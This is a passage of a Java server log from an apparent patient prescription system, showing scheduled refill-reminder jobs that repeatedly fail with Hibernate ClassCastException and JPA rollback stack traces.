org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 01:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 01:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 01:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 01:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 01:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 01:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 01:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 01:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 01:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 01:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 01:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 01:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 01:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 01:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 01:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 01:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 01:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 01:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 01:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 01:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 01:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 01:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 01:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 01:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 01:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 01:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 01:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 01:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 01:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 01:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 01:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 01:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void 